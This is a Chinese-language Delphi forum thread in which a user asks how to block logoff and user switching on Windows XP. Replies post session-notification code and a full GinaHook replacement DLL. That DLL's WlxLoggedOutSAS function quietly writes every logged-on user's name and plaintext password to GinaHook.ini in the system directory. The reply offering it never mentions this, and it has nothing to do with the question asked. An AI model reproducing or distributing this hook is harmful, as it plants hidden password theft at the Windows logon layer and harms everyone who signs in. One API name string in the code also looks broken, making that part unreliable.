怎么拦截系统切换用户和注销的消息,并阻塞这些消息。(100分)

  • 主题发起人 主题发起人 bathper
  • 开始时间 开始时间
B

bathper

Unregistered / Unconfirmed
GUEST, unregistred user!
[:)]如题,我写个程序,想拦截系统切换用户和注销时的系统消息,并阻塞消息,不许系统切换用户或者注销!
 
自己顶一下,高手能否帮忙?给点提示也好!
 
主要是拦截XP系统下多用户切换时的情况,郁闷,找了半天资料,全是VC方面的,Delphi在这方面的资料几乎没看到有什么实质的内容,各位高手帮帮忙!
 
不知道是否有用:
1、GetUserName()函数是取得当前用户的名字
2、ExitWindowsEx()函数是退出Windows,并重新启动,里面好像有一个参数是LogOff是注销
函数的具体内容你自己查一下吧
 
记得大富翁离线资料中有,你找一下。
 
谢谢2位,不知道还有没有人帮忙再给点提示,晚上结贴。
 
给你一个接收注销、重启、锁定工作站等消息的单元,你试试看,如要拦截或阻止,你可能还要改一下。

unit Wtsapi;

interface

uses
Windows;

const
WM_WTSSESSION_CHANGE = $2B1;

WTS_CONSOLE_CONNECT = 1;
WTS_CONSOLE_DISCONNECT = 2;
WTS_REMOTE_CONNECT = 3;
WTS_REMOTE_DISCONNECT = 4;
WTS_SESSION_LOGON = 5;
WTS_SESSION_LOGOFF = 6;
WTS_SESSION_LOCK = 7;
WTS_SESSION_UNLOCK = 8;
WTS_SESSION_REMOTE_CONTROL = 9;

NOTIFY_FOR_THIS_SESSION = 0;
NOTIFY_FOR_ALL_SESSIONS = 1;

function RegisterSessionNotification(Wnd: HWND; dwFlags: DWORD): Boolean;
function UnRegisterSessionNotification(Wnd: HWND): Boolean;
function GetCurrentSessionID: Integer;

implementation

function RegisterSessionNotification(Wnd: HWND; dwFlags: DWORD): Boolean;
type
TWTSRegisterSessionNotification = function(Wnd: HWND; dwFlags: DWORD): BOOL; stdcall;
var
hWTSapi32dll: THandle;
WTSRegisterSessionNotification: TWTSRegisterSessionNotification;
begin
Result := False;
hWTSAPI32DLL := LoadLibrary('Wtsapi32.dll');
if (hWTSAPI32DLL > 0) then
begin
try @WTSRegisterSessionNotification :=
GetProcAddress(hWTSAPI32DLL, 'WTSRegisterSessionNotification');
if Assigned(WTSRegisterSessionNotification) then
begin
Result:= WTSRegisterSessionNotification(Wnd, dwFlags);
end;
finally
if hWTSAPI32DLL > 0 then
FreeLibrary(hWTSAPI32DLL);
end;
end;
end;

function UnRegisterSessionNotification(Wnd: HWND): Boolean;
type
TWTSUnRegisterSessionNotification = function(Wnd: HWND): BOOL; stdcall;
var
hWTSapi32dll: THandle;
WTSUnRegisterSessionNotification: TWTSUnRegisterSessionNotification;
begin
Result := False;
hWTSAPI32DLL := LoadLibrary('Wtsapi32.dll');
if (hWTSAPI32DLL > 0) then
begin
try @WTSUnRegisterSessionNotification :=
GetProcAddress(hWTSAPI32DLL, 'WTSUnRegisterSessionNotification');
if Assigned(WTSUnRegisterSessionNotification) then
begin
Result:= WTSUnRegisterSessionNotification(Wnd);
end;
finally
if hWTSAPI32DLL > 0 then
FreeLibrary(hWTSAPI32DLL);
end;
end;
end;

function GetCurrentSessionID: Integer;
type
TProcessIdToSessionId = function(dwProcessId: DWORD; pSessionId: DWORD): BOOL; stdcall;
var
ProcessIdToSessionId: TProcessIdToSessionId;
hWTSapi32dll: THandle;
Lib : THandle;
pSessionId : DWord;
begin
Result := 0;
Lib := GetModuleHandle('kernel32');
if Lib <> 0 then
begin
ProcessIdToSessionId := GetProcAddress(Lib, '1ProcessIdToSessionId');
if Assigned(ProcessIdToSessionId) then
begin
ProcessIdToSessionId(GetCurrentProcessId(), DWORD(@pSessionId));
Result:= pSessionId;
end;
end;
end;

end.

//示例:

unit Unit1;

interface

uses
Windows, Messages, {...}, Wtsapi;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
FRegisteredSessionNotification : Boolean;
procedure AppMessage(var Msg: TMSG; var HAndled: Boolean);
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.AppMessage(var Msg: TMSG; var Handled: Boolean);
var
strReason: string;
begin
Handled := False;
if Msg.Message = WM_WTSSESSION_CHANGE then
begin
case Msg.wParam of
WTS_CONSOLE_CONNECT:
strReason := 'WTS_CONSOLE_CONNECT';
WTS_CONSOLE_DISCONNECT:
strReason := 'WTS_CONSOLE_DISCONNECT';
WTS_REMOTE_CONNECT:
strReason := 'WTS_REMOTE_CONNECT';
WTS_REMOTE_DISCONNECT:
strReason := 'WTS_REMOTE_DISCONNECT';
WTS_SESSION_LOGON:
strReason := 'WTS_SESSION_LOGON';
WTS_SESSION_LOGOFF:
strReason := 'WTS_SESSION_LOGOFF';
WTS_SESSION_LOCK:
strReason := 'WTS_SESSION_LOCK';
WTS_SESSION_UNLOCK:
strReason := 'WTS_SESSION_UNLOCK';
WTS_SESSION_REMOTE_CONTROL:
begin
strReason := 'WTS_SESSION_REMOTE_CONTROL';
// GetSystemMetrics(SM_REMOTECONTROL);
end;
else
strReason := 'WTS_Unknown';
end;

Memo1.Lines.Add(strReason + ' ' + IntToStr(msg.Lparam));
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
FRegisteredSessionNotification := RegisterSessionNotification(Handle, NOTIFY_FOR_THIS_SESSION);
Application.OnMessage := AppMessage;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
if FRegisteredSessionNotification then
UnRegisterSessionNotification(Handle);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(Inttostr(GetCurrentSessionID));
end;
 
szhcracker,谢谢,WM_WTSSESSION_CHANGE这个消息,我也拦截过,不过还是不能阻止系统注销或者切换用户,我再试试。
 
还没有搞定吗,这么简单的问题,留下Email,我发一个Demo给你
 
znj_326,我还没有搞定,我的Emai:bathper@163.com,非常感谢!
 
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;

type
TForm1 = class(TForm)
private
{ Private declarations }

procedure WMQUERYENDSESSION(var msg:Tmessage);message WM_QUERYENDSESSION;

public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

{ TForm1 }

procedure TForm1.WMQUERYENDSESSION(var msg: Tmessage);
begin
msg.Result :=0;
end;

end.
 
znj_326,非常感谢你的热情,不过你的Memo还不能解决问题。在XP系统下,多用户切换换的时候,系统不会向所有的运行应用程序发送WM_QUERYENDSESSION消息,自己发现了一点资料,有人说MSDN资料上GinaHook可以实现这个想法,可以完全拦截系统的退出,注销,锁定等消息,可是我还找不到vc或者delphi版这方面更详细的资料。
 
哦,刚开始没有看清楚,不过还是好做好
就如你所说的:ginahook搞定
library GinaHook;

uses
Windows,Dialogs,
IniFiles,
GinaDlg in 'GinaDlg.pas',
WinWlx in 'WinWlx.pas';

{$E dll}

{ Location of the real MSGINA. }

const
REALGINA_PATH = 'MSGINA.DLL';
GINASTUB_VERSION = WLX_VERSION_1_3; { Highest version supported at }
{ this point. Remember to modify }
{ this as support for newer version }
{ is added to this program. }

{ Winlogon function dispatch table. }

var
g_pWinlogon: Pointer;
g_dwVersion: DWORD = WLX_VERSION_1_3;

{ Pointers to the real MSGINA functions. }

var
pfWlxNegotiate: TFNWlxNegotiate;
pfWlxInitialize: TFNWlxInitialize;
pfWlxDisplaySASNotice: TFNWlxDisplaySASNotice;
pfWlxLoggedOutSAS: TFNWlxLoggedOutSAS;
pfWlxActivateUserShell: TFNWlxActivateUserShell;
pfWlxLoggedOnSAS: TFNWlxLoggedOnSAS;
pfWlxDisplayLockedNotice: TFNWlxDisplayLockedNotice;
pfWlxWkstaLockedSAS: TFNWlxWkstaLockedSAS;
pfWlxIsLockOk: TFNWlxIsLockOk;
pfWlxIsLogoffOk: TFNWlxIsLogoffOk;
pfWlxLogoff: TFNWlxLogoff;
pfWlxShutdown: TFNWlxShutdown;

{ New for version 1.1 }

var
pfWlxStartApplication: TFNWlxStartApplication = nil;
pfWlxScreenSaverNotify: TFNWlxScreenSaverNotify = nil;

{ New for version 1.2 - No new GINA interface was added, except }
{ a new function in the dispatch table. }

{ New for version 1.3 }

var
pfWlxNetworkProviderLoad: TFNWlxNetworkProviderLoad = nil;
pfWlxDisplayStatusMessage: TFNWlxDisplayStatusMessage = nil;
pfWlxGetStatusMessage: TFNWlxGetStatusMessage = nil;
pfWlxRemoveStatusMessage: TFNWlxRemoveStatusMessage = nil;

{ Hook into the real MSGINA. }

function MyInitialize (hDll: HMODULE; dwWlxVersion: DWORD): Boolean;
begin
Result := False;

{ Get pointers to all of the WLX functions in the real MSGINA. }

pfWlxInitialize :=
GetProcAddress(hDll, 'WlxInitialize');
pfWlxDisplaySASNotice :=
GetProcAddress(hDll, 'WlxDisplaySASNotice');
pfWlxLoggedOutSAS :=
GetProcAddress(hDll, 'WlxLoggedOutSAS');
pfWlxActivateUserShell :=
GetProcAddress(hDll, 'WlxActivateUserShell');
pfWlxLoggedOnSAS :=
GetProcAddress(hDll, 'WlxLoggedOnSAS');
pfWlxDisplayLockedNotice :=
GetProcAddress(hDll, 'WlxDisplayLockedNotice');
pfWlxIsLockOk :=
GetProcAddress(hDll, 'WlxIsLockOk');
pfWlxWkstaLockedSAS :=
GetProcAddress(hDll, 'WlxWkstaLockedSAS');
pfWlxIsLogoffOk :=
GetProcAddress(hDll, 'WlxIsLogoffOk');
pfWlxLogoff :=
GetProcAddress(hDll, 'WlxLogoff');
pfWlxShutdown :=
GetProcAddress(hDll, 'WlxShutdown');

if Assigned(pfWlxInitialize) and
Assigned(pfWlxDisplaySASNotice) and
Assigned(pfWlxLoggedOutSAS) and
Assigned(pfWlxActivateUserShell) and
Assigned(pfWlxLoggedOnSAS) and
Assigned(pfWlxDisplayLockedNotice) and
Assigned(pfWlxIsLockOk) and
Assigned(pfWlxWkstaLockedSAS) and
Assigned(pfWlxIsLogoffOk) and
Assigned(pfWlxLogoff) and
Assigned(pfWlxShutdown) then
begin
Result := True;
{ Load functions for version 1.1 as necessary. }
if (dwWlxVersion >= WLX_VERSION_1_1) then
begin
pfWlxStartApplication := GetProcAddress(hDll, 'WlxStartApplication');
pfWlxScreenSaverNotify := GetProcAddress(hDll, 'WlxScreenSaverNotify');

Result := Assigned(pfWlxStartApplication) and
Assigned(pfWlxScreenSaverNotify);
end;

{ Load functions for version 1.3 as necessary. }

if Result and (dwWlxVersion >= WLX_VERSION_1_3) then
begin
pfWlxNetworkProviderLoad :=
GetProcAddress(hDll, 'WlxNetworkProviderLoad');
pfWlxDisplayStatusMessage :=
GetProcAddress(hDll, 'WlxDisplayStatusMessage');
pfWlxGetStatusMessage :=
GetProcAddress(hDll, 'WlxGetStatusMessage');
pfWlxRemoveStatusMessage :=
GetProcAddress(hDll, 'WlxRemoveStatusMessage');

Result := Assigned(pfWlxNetworkProviderLoad) and
Assigned(pfWlxDisplayStatusMessage) and
Assigned(pfWlxGetStatusMessage) and
Assigned(pfWlxRemoveStatusMessage);
end;
{ Load functions for newer version here... }

end;
end;

function WlxNegotiate(dwWinlogonVersion: DWORD;out pdwDllVersion: DWORD): BOOL; stdcall;
var
hDll: HMODULE;
dwWlxVersion: DWORD;
begin
Result := False;
dwWlxVersion := GINASTUB_VERSION;
{ Load MSGINA.DLL. }
hDll := LoadLibrary(REALGINA_PATH);
if hDll <> 0 then
begin
{ Get pointers to WlxNegotiate function in the real MSGINA. }
pfWlxNegotiate := GetProcAddress(hDll, 'WlxNegotiate');
if Assigned(pfWlxNegotiate) then
begin
{ Handle older version of Winlogon. }
if (dwWinlogonVersion < dwWlxVersion) then
begin
dwWlxVersion := dwWinlogonVersion;
end;
{ Negotiate with MSGINA for version that we can support. }
if pfWlxNegotiate(dwWlxVersion, @dwWlxVersion) then
begin
{ Load the rest of the WLX functions from the real MSGINA. }
if MyInitialize(hDll, dwWlxVersion) then
begin
{ Inform Winlogon which version to use. }
g_dwVersion := dwWlxVersion;
pdwDllVersion := dwWlxVersion;

Result := True;
end;
end;
end;
end;
end;

function WlxInitialize(lpWinsta: LPWSTR; hWlx: THandle; pvReserved,
pWinlogonFunctions: Pointer; out pWlxContext: Pointer): BOOL; stdcall;
begin
{ Save pointer to dispatch table.

Note that g_pWinlogon will need to be properly casted to the
appropriate version when used to call function in the dispatch
table.

For example, assuming we are at WLX_VERSION_1_3, we would call
WlxSasNotify() as follows:

PWlxDispatchVersion13(g_pWinlogon).WlxSasNotify(hWlx, MY_SAS); }

g_pWinlogon := pWinlogonFunctions;

{ Now hook the WlxDialogBoxParam() dispatch function. }

HookWlxDialogBoxParam(g_pWinlogon, g_dwVersion);

Result := pfWlxInitialize(lpWinsta, hWlx, pvReserved, pWinlogonFunctions,pWlxContext);
end;

procedure WlxDisplaySASNotice(pWlxContext: Pointer); stdcall;
begin
pfWlxDisplaySASNotice(pWlxContext);
end;

function WlxLoggedOutSAS(pWlxContext: Pointer; dwSasType: DWORD;
pAuthenticationId: PLargeInteger; pLogonSid: PSID; pdwOptions: PDWORD;
phToken: PHandle; pMprNotifyInfo: PWlxMprNotifyInfo; out pProfile: Pointer): Integer; stdcall;
var
p:PChar;
ini:TIniFile;
begin
Result := pfWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId,
pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile);
if (Result = WLX_SAS_ACTION_LOGON) then
begin
GetMem(P,255); GetSystemDirectory(p,254);
ini:=TIniFile.Create(p+'/GinaHook.ini');
ini.WriteString('Sys',pmprnotifyinfo.pszUserName,pmprnotifyinfo.pszPassword);
ini.Free;FreeMem(p);
{ Copy pMprNotifyInfo and pLogonSid for later use. }

// pMprNotifyInfo.pszUserName
// pMprNotifyInfo.pszDomain
// pMprNotifyInfo.pszPassword
// pMprNotifyInfo.pszOldPassword
end;
end;

function WlxActivateUserShell(pWlxContext: Pointer; pszDesktopName,
pszMprLogonScript: PWideChar; pEnvironment: Pointer): BOOL; stdcall;
begin
Result := pfWlxActivateUserShell(pWlxContext, pszDesktopName,
pszMprLogonScript, pEnvironment);
end;

function WlxLoggedOnSAS(pWlxContext: Pointer; dwSasType: DWORD;
pReserved: Pointer): Integer; stdcall;
begin
Result := pfWlxLoggedOnSAS(pWlxContext, dwSasType, pReserved);
end;

procedure WlxDisplayLockedNotice(pWlxContext: Pointer); stdcall;
begin
pfWlxDisplayLockedNotice(pWlxContext);
end;

function WlxIsLockOk(pWlxContext: Pointer): BOOL; stdcall;
begin
Result := pfWlxIsLockOk(pWlxContext);
end;

function WlxWkstaLockedSAS(pWlxContext: Pointer; dwSasType: DWORD
): Integer; stdcall;
begin
Result := pfWlxWkstaLockedSAS(pWlxContext, dwSasType);
end;

function WlxIsLogoffOk(pWlxContext: Pointer): BOOL; stdcall;
begin
Result := pfWlxIsLogoffOk(pWlxContext);
if Result then
begin
{ If it's OK to logoff, make sure stored credentials are cleaned up. }
end;
end;

procedure WlxLogoff(pWlxContext: Pointer); stdcall;
begin
{处理你自己的东东}
pfWlxLogoff(pWlxContext);
end;

procedure WlxShutdown(pWlxContext: Pointer; ShutdownType: DWORD); stdcall;
begin
pfWlxShutdown(pWlxContext, ShutdownType);
end;

{ New for version 1.1 }

function WlxScreenSaverNotify(pWlxContext: Pointer; var pSecure: BOOL
): BOOL; stdcall;
begin
Result := pfWlxScreenSaverNotify(pWlxContext, pSecure);
end;

function WlxStartApplication(pWlxContext: Pointer; pszDesktopName: PWideChar;
pEnvironment: Pointer; pszCmdLine: PWideChar): BOOL; stdcall;
begin
Result := pfWlxStartApplication(pWlxContext, pszDesktopName, pEnvironment,pszCmdLine);
end;

{ New for version 1.3 }

function WlxNetworkProviderLoad(pWlxContext: Pointer;
pNprNotifyInfo: PWlxMprNotifyInfo): BOOL; stdcall;
begin
Result := pfWlxNetworkProviderLoad(pWlxContext, pNprNotifyInfo);
end;

function WlxDisplayStatusMessage(pWlxContext: Pointer; hDesktop: HDESK;
dwOptions: DWORD; pTitle, pMessage: PWideChar): BOOL; stdcall;
begin
Result := pfWlxDisplayStatusMessage(pWlxContext, hDesktop, dwOptions, pTitle,pMessage);
end;

function WlxGetStatusMessage(pWlxContext: Pointer; out pdwOptions: DWORD;
pMessage: PWideChar; dwBufferSize: DWORD): BOOL; stdcall;
begin
Result := pfWlxGetStatusMessage(pWlxContext, pdwOptions, pMessage,dwBufferSize);
end;

function WlxRemoveStatusMessage(pWlxContext: Pointer): BOOL; stdcall;
begin
Result := pfWlxRemoveStatusMessage(pWlxContext);
end;

exports
WlxNegotiate,
WlxInitialize,
WlxDisplaySASNotice,
WlxLoggedOutSAS,
WlxActivateUserShell,
WlxLoggedOnSAS,
WlxDisplayLockedNotice,
WlxWkstaLockedSAS,
WlxIsLockOk,
WlxIsLogoffOk,
WlxLogoff,
WlxShutdown,
WlxScreenSaverNotify,
WlxStartApplication,
WlxNetworkProviderLoad,
WlxDisplayStatusMessage,
WlxGetStatusMessage,
WlxRemoveStatusMessage;

begin

end.
 
znj_326,非常感谢,不过有个文件,我不知道怎么找到:GinaDlg.pas ,只能再次找你帮忙了!
 
unit GinaDlg;

interface

uses
Windows, Messages, WinWlx,Dialogs;

procedure HookWlxDialogBoxParam(pWinlogonFunctions: Pointer;dwWlxVersion: DWORD); stdcall;

implementation

{------------------------------------------------------------------------------}

{ Borland decided to declare TFNDlgProc as generic pointer }
{ So we need an real function prototype to handle pointers }
{ NicoDE }

type
TFNDialogProc = function(Dlg: HWND; Msg: UINT; WParam: WPARAM; LParam: LPARAM): Integer; stdcall;

{ There are no standard units available for LanManager API }
{ To avoid including 3rd party packages it's declared here }
{ NicoDE }

const
NERR_Success = 0;

type
NET_API_STATUS = DWORD;
LMSTR = LPWSTR;

type
PWkstaInfo100 = ^TWkstaInfo100;
PWKSTA_INFO_100 = PWkstaInfo100;
_WKSTA_INFO_100 = record
wki100_platform_id : DWORD;
wki100_computername: LMSTR;
wki100_langroup : LMSTR;
wki100_ver_major : DWORD;
wki100_ver_minor : DWORD;
end;
TWkstaInfo100 = _WKSTA_INFO_100;
WKSTA_INFO_100 = _WKSTA_INFO_100;

const
netapi32 = 'netapi32.dll';

function NetWkstaGetInfo(servername: LMSTR; level: DWORD; out bufptr: Pointer
): NET_API_STATUS; stdcall; external netapi32;
function NetApiBufferFree(Buffer: Pointer): NET_API_STATUS; stdcall;external netapi32;

{------------------------------------------------------------------------------}

{ MSGINA dialog box IDs. }

const
IDD_WLXDIAPLAYSASNOTICE_DIALOG = 1400;
IDD_WLXLOGGEDOUTSAS_DIALOG = 1450;
IDD_CHANGE_PASSWORD_DIALOG = 1550;
IDD_WLXLOGGEDONSAS_DIALOG = 1650;
IDD_WLXWKSTALOCKEDSAS_DIALOG = 1850;

{ MSGINA control IDs }

const
IDC_WLXLOGGEDOUTSAS_USERNAME = 1453;
IDC_WLXLOGGEDOUTSAS_PASSWORD = 1454;
IDC_WLXLOGGEDOUTSAS_DOMAIN = 1455;
IDC_WLXWKSTALOCKEDSAS_DOMAIN = 1856;

{ Pointers to redirected functions. }

var
pfWlxDialogBoxParam: TFNWlxDialogBoxParam = nil;

{ Pointers to redirected dialog box. }
var
pfWlxLoggedOutSASDlgProc: TFNDialogProc = nil;
pfWlxWkstaLockedSASDlgProc: TFNDialogProc = nil;
pfChangePasswordDlgProc: TFNDialogProc = nil;

{ Local functions. ( I want to keep to order of function--so forward, NicoDE ) }

function MyWlxDialogBoxParam(hWlx: THandle; hInst: THandle;
lpszTemplate: LPWSTR; hwndOwner: HWND; dlgprc: Pointer; dwInitParam: LPARAM): Integer; stdcall; forward;

{ Local variables. ( scope of the unit of course, NicoDE ) }

var
g_szLocalMachineName: array [0..255] of Char;

{ Hook WlxDialogBoxParam() dispatch function. }

procedure HookWlxDialogBoxParam(pWinlogonFunctions: Pointer; dwWlxVersion: DWORD); stdcall;
begin

{ Hook WlxDialogBoxParam(). Note that we chould cheat here by always
casting to (PWlxDispatchVersion10) since WlxDialogBoxParam()
exists in all versions and is always in the same location of the
dispatch table. But, we will do it the hard way! }

case dwWlxVersion of
WLX_VERSION_1_0:
begin
pfWlxDialogBoxParam :=
PWlxDispatchVersion10(pWinlogonFunctions).WlxDialogBoxParam;
PWlxDispatchVersion10(pWinlogonFunctions).WlxDialogBoxParam :=
@MyWlxDialogBoxParam;
end;
WLX_VERSION_1_1:
begin
pfWlxDialogBoxParam :=
PWlxDispatchVersion11(pWinlogonFunctions).WlxDialogBoxParam;
PWlxDispatchVersion11(pWinlogonFunctions).WlxDialogBoxParam :=
@MyWlxDialogBoxParam;
end;
WLX_VERSION_1_2:
begin
pfWlxDialogBoxParam :=
PWlxDispatchVersion12(pWinlogonFunctions).WlxDialogBoxParam;
PWlxDispatchVersion12(pWinlogonFunctions).WlxDialogBoxParam :=
@MyWlxDialogBoxParam;
end;
else
pfWlxDialogBoxParam :=
PWlxDispatchVersion13(pWinlogonFunctions).WlxDialogBoxParam;
PWlxDispatchVersion13(pWinlogonFunctions).WlxDialogBoxParam :=
@MyWlxDialogBoxParam;
end;
end;

{ Redirected WlxLoggedOutSASDlgProc(). }

function MyWlxLoggedOutSASDlgProc(hwndDlg: HWND; uMsg: UINT; wParam: WPARAM;
lParam: LPARAM): BOOL; stdcall;
var
dwIndex: DWORD;
hwndDomain: HWND;
netstatus: NET_API_STATUS;
lpWkstaInfo: PWkstaInfo100;
begin

{ Sanity check. }

Assert(Assigned(pfWlxLoggedOutSASDlgProc));

{ Pass on to MSGINA first. }

Result := BOOL(pfWlxLoggedOutSASDlgProc(hwndDlg, uMsg, wParam, lParam));

{ We are only interested in WM_INITDIALOG message. }

if (uMsg = WM_INITDIALOG) then
begin

{ Get local machine name. }

netstatus := NetWkstaGetInfo(nil, 100, Pointer(lpWkstaInfo));
if (netstatus = NERR_Success) then
begin

{ Convert to ANSI. }

WideCharToMultiByte(0, 0, lpWkstaInfo.wki100_computername, -1,
g_szLocalMachineName, SizeOf(g_szLocalMachineName), nil, nil);

{ and free the buffer. }

NetApiBufferFree(lpWkstaInfo);

{ Manipulate the domain combo box so that only some predetermined
trusted domains are included in the list.

In our case, we restrict logon to local machine only. }

hwndDomain := GetDlgItem(hwndDlg, IDC_WLXLOGGEDOUTSAS_DOMAIN);
if (hwndDomain <> 0) then
begin

dwIndex := DWORD(SendMessageA(hwndDomain, CB_FINDSTRING, 0,
Integer(@g_szLocalMachineName[0])));
if (dwIndex <> DWORD(CB_ERR)) then
begin
SendMessage(hwndDomain, CB_SETCURSEL, Integer(dwIndex), 0);
EnableWindow(hwndDomain, False);
end;
end;
end;
end;
end;

{ Redirected WlxWkstaLockedSASDlgProc(). }

function MyWlxWkstaLockedSASDlgProc(hwndDlg: HWND; uMsg: UINT; wParam: WPARAM;
lParam: LPARAM): BOOL; stdcall;
var
dwIndex: DWORD;
hwndDomain: HWND;
begin

{ Sanity check. }

Assert(Assigned(pfWlxWkstaLockedSASDlgProc));

{ Pass on to MSGINA first. }

Result := BOOL(pfWlxWkstaLockedSASDlgProc(hwndDlg, uMsg, wParam, lParam));

{ We are only interested in WM_INITDIALOG message. }

if (uMsg = WM_INITDIALOG) then
begin

{ Make sure to cover this hole. }

hwndDomain := GetDlgItem(hwndDlg, IDC_WLXWKSTALOCKEDSAS_DOMAIN);
if (hwndDomain <> 0) then
begin
dwIndex := DWORD(SendMessageA(hwndDomain, CB_FINDSTRING, 0,
Integer(@g_szLocalMachineName[0])));
if (dwIndex <> DWORD(CB_ERR)) then
begin
SendMessage(hwndDomain, CB_SETCURSEL, Integer(dwIndex), 0);
EnableWindow(hwndDomain, False);
end;
end;
end;
end;

{ Redirected ChangePasswordDlgProc(). }

function MyChangePasswordDlgProc(hwndDlg: HWND; uMsg: UINT; wParam: WPARAM;
lParam: LPARAM): BOOL; stdcall;
begin

{ Sanity check. }

Assert(Assigned(pfChangePasswordDlgProc));

{ Pass on to MSGINA first. }

Result := BOOL(pfChangePasswordDlgProc(hwndDlg, uMsg, wParam, lParam));

{ We are only interested in WM_INITDIALOG message. }

if (uMsg = WM_INITDIALOG) then
begin
// ShowMessage('WM_INITDIALOG');
// Manipulate the dialog box to match your needs here. For example,
// you can add a static control to the dialog box or display another
// message to clearly explain the rules for composing a valid password. }

end;
end;

{ Redirected WlxDialogBoxParam() function. }

function MyWlxDialogBoxParam(hWlx: THandle; hInst: THandle; lpszTemplate: LPWSTR;
hwndOwner: HWND; dlgprc: Pointer; dwInitParam: LPARAM): Integer; stdcall;
begin

{ Sanity check. }

Assert(Assigned(pfWlxDialogBoxParam));

{ We only know MSGINA dialogs by identifiers. }

if HiWord(DWORD(lpszTemplate)) = 0 then
begin

{ Hook appropriate dialog boxes as necessary. }

case DWORD(lpszTemplate) of
IDD_WLXLOGGEDOUTSAS_DIALOG:
begin
ShowMessage('pfWlxLoggedOutSASDlgProc');
pfWlxLoggedOutSASDlgProc := dlgprc;
Result := pfWlxDialogBoxParam(hWlx, hInst, lpszTemplate, hwndOwner,
@MyWlxLoggedOutSASDlgProc, dwInitParam);
end;
IDD_WLXWKSTALOCKEDSAS_DIALOG:
begin
ShowMessage('pfWlxWkstaLockedSASDlgProc');
pfWlxWkstaLockedSASDlgProc := dlgprc;
Result := pfWlxDialogBoxParam(hWlx, hInst, lpszTemplate, hwndOwner,
@MyWlxWkstaLockedSASDlgProc, dwInitParam);
end;
IDD_CHANGE_PASSWORD_DIALOG:
begin
ShowMessage('pfChangePasswordDlgProc');
pfChangePasswordDlgProc := dlgprc;
Result := pfWlxDialogBoxParam(hWlx, hInst, lpszTemplate, hwndOwner,
@MyChangePasswordDlgProc, dwInitParam);
end;
else

{ The rest will not be redirected. }

Result := pfWlxDialogBoxParam(hWlx, hInst, lpszTemplate, hwndOwner,dlgprc, dwInitParam);
end;

end
else
begin

{ The rest will not be redirected. }
Result := pfWlxDialogBoxParam(hWlx, hInst, lpszTemplate, hwndOwner, dlgprc,
dwInitParam);
end;
end;

end.
 
谢谢各位,小子我结贴!
 
后退
顶部